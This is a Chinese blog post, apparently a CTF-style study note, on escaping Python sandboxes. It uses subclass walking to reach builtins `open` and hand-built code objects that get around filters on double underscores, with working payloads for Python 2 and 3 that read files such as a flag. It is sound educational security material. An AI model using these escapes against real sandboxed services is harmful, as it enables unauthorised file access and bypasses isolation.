python 利用code对象沙箱逃逸

0x 前言

最近遇到一些python 沙箱逃逸的问题,突然想起之前群友发了一个关于python2 code对象沙箱逃逸的博客,然后想自己也重新回顾回顾这个方法,同时也想python2 可以利用code 对象沙箱逃逸,那么python3 可不可以呢?抱着好奇心,然后就有了这篇文章。

0x 准备知识

1.python 中利用code 对象来动态函数的几种方法【本质都是得到Function类,然后使用Fuction类的构造函数】:
(1) 通过types.FunctionType 函数
python 文档中查看types.FunctionType 的定义没找到,所以直接在 pycharm 中找,结果发现:
在这里插入图片描述
type.FunctionType 直接就是 type(_f) , 也就是function 类
那我们在命令行下面利用help 查看:
在这里插入图片描述
function 类的构造函数有五个参数:
code : 函数的code 对象,这个可以通过compile 来得到,或者通过code 类的构造函数直接手动构造
globals : 函数中使用的globals 字典(py2),如果函数中需要使用print,或者open 这种内置的函数,这个参数需要是 {’__builtins__’:‘builtins’}
name
argdefs
closure
则可以使用None 就行了

使用的时候可以这样使用:

function(
	a.__code__,
	{'__builtins__':__builtins__},
	a.__name__,
	a.__defaults__,
	a.__closure__
)

(2)不引入types 包 ,直接通过type() 得到Function 类
上面也说了types.FunctionType= type(_f), 所以我们可以直接构造用type() 来得到这个Fuction 类

2.怎么构造code 对象:
(1)使用compile() 函数 可以得到函数对应的code 对象
在这里插入图片描述
(2)直接使用 __code__,就可以得到函数的code 对象

(3)使用code 类的构造函数来手动构造(过滤了关键字,比如一些函数名和__双下划线的时候,需要使用这个来手动构造)

# 举例:
def a():
	pass
for i  in dir(a.__code__):
	if(i.startwith('co_')):
		print(i + '  ' + a.__code__[i])
code = type(a.func_code)
# help(code) 查看code 类的构造函数所需要的参数,对应上面打印出来的信息填进去就行了

在这里插入图片描述

0x03 实例

假如我们要读 test.txt 里面的内容:
我们可以这样构造:

import types

def a():
    print(open('test.txt').read());

function=type(a)   # 获得function 类
f = function(a.__code__,{'__builtins__':__builtins__},a.__name__,a.__defaults__,a.__closure__)

f()

成功得到test.txt 中 的内容
在这里插入图片描述
然后在沙箱中,会过滤很多关键字: 一般来说我们会这样读取:

[].__class__.__mro__[-1].__subclasses__()[40]('./flag').read()   #python27,利用file 模块,但是python3 的时候file 模块被删除了

#利用warningMessage模块做跳板:
[].__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('D://1.txt').read()   #python27
[].__class__.__mro__[-1].__subclasses__()[139].__init__.__globals__['__builtins__']['open']('D://1.txt').read()  # python37

不同py版本的warningMeassage 对应的下标不同,可以根据这个脚本来找

i=-1
for c in [].__class__.__base__.__subclasses__():
	i = i+1
	if c.__name__ == 'WarningMessage':
		print(i)
		break

但是如果过滤了双下划线呢?这个时候这个方法就不可行了,这里可以利用code对象来绕过:

python27:
def get_open():
    return [].__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['open']
for i in dir(get_open.__code__):
	if(i.startswith('co_')):
	    print(i+'   :',getattr(get_open.__code__,i))
	    #之前写这个的时候,用 get_open.__code.i ,发现一直报错,后来请教KAAAsS dl,知道了要用getattr()来读。
	    

在这里插入图片描述

接着对应code类的构造函数:
在这里插入图片描述
但是其实我们主要关心的主要就是 :
在这里插入图片描述

全部co_ 解释可以参考: https://docs.python.org/2/library/inspect.html
在这里插入图片描述

code = type(get_open.func_code)
f = type(get_open)
c = code(0,0,2,67,'g\x00\x00j\x00\x00j\x01\x00d\x01\x00\x19j\x02\x00\x83\x00\x00d\x02\x00\x19j\x03\x00j\x04\x00d\x03\x00\x19d\x04\x00\x19S',(None, -1, 59, '_'+'_builtins_'+'_', 'open'), ('_'+'_class_'+'_', '_'+'_mro_'+'_', '_'+'_subclasses_'+'_', '_'+'_init_'+'_', '_'+'_globals_'+'_'),(),'test.py','get_open',27,'\x00\x01',())
open_func = f(c,globals())   #注意这里,不能是空,其实只要是__builtins__ 就行了
print(open_func()('test.txt').read())
python37:

python3 中和python2 code 类的构造函数参数有点变化:
在这里插入图片描述

第二个参数变成了kwonlyargcount ,在 https://docs.python.org/3/library/inspect.html可以看到解释:
在这里插入图片描述
同样换成py38,用这段代码输出code 对象中的’co_'开头的属性:

def get_open():
    return [].__class__.__mro__[-1].__subclasses__()[145].__init__.__globals__['__builtins__']['open']
for i in dir(get_open.__code__):
	if(i.startswith('co_')):
	    print(i+'   :',getattr(get_open.__code__,i))

在这里插入图片描述
然后对着code 类的构造函数构造:

code = type(get_open.func_code)
f = type(get_open)
c = code(0,0,0,2,67,b'g\x00j\x00j\x01d\x01\x19\x00\xa0\x02\xa1\x00d\x02\x19\x00j\x03j\x04d\x03\x19\x00d\x04\x19\x00S\x00',(None, -1, 139, '_'+'_builtins_'+'_', 'open'), ('_'+'_class_'+'_', '_'+'_mro_'+'_', '_'+'_subclasses_'+'_', '_'+'_init_'+'_', '_'+'_globals_'+'_'),(),'test.py','get_open',27,b'\x00\x01',())
open_func = f(c,{})   #这里可以直接是空
print(open_func()('test.txt').read())
0x03 小疑问

我们可以看到对于py2 和 py3 中function 类构造函数的第二个参数globals 有着不同的要求:
对于py2 , globals 至少要是 {’__builtin__’:__builtin__} ,
而对于py3 ,globals 可以为空

由于function 类是内置类,所以没法直接查看源码,需要使用help 或者 去查看cpython 的源代码,瞅了瞅cpython 的 https://github.com/python/cpython/tree/master/Objects,发现太复杂了,不是轻易能看懂的。但是help 出来的也并没有详细说明白 globals 参数的具体含义:
py3:
在这里插入图片描述
py2:
在这里插入图片描述
然后网上找了找资料,对于py3: https://cloud.tencent.com/developer/article/1411563
在这里插入图片描述
对于py2: https://stackoverflow.com/questions/54985487/how-can-an-optional-parameter-become-required
在这里插入图片描述

以及: http://pbiernat.blogspot.com/2014/09/bypassing-python-sandbox-by-abusing.html
在这里插入图片描述
所以,似乎py2 和 py3 中这个globals 参数代表的意义是不同的,py2 中这个globals 就是自定义函数中的全局变量(那么自然需要传入__builtin__进去,否则 [] 就没法用),而py3 中的这个globals 则是如果函数中引用的变量不是局部定义的,则在这个globals 里面找。

后记

python 沙箱逃逸这块今天也算复习了一次,也自己动手弄了弄code 对象来沙箱逃逸。可以看到对于过滤双下划线,利用code 对象来绕过沙箱真的一个不错的方法。

参考

https://blog.kaaass.net/archives/905 群友KAAAsS 大佬的博客
http://pbiernat.blogspot.com/2014/09/bypassing-python-sandbox-by-abusing.html Bypassing a python sandbox by abusing code objects
https://cloud.tencent.com/developer/article/1411563
https://pycoders-weekly-chinese.readthedocs.io/en/latest/issue7/exploring-python-code-objects.html 探索python code对象

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值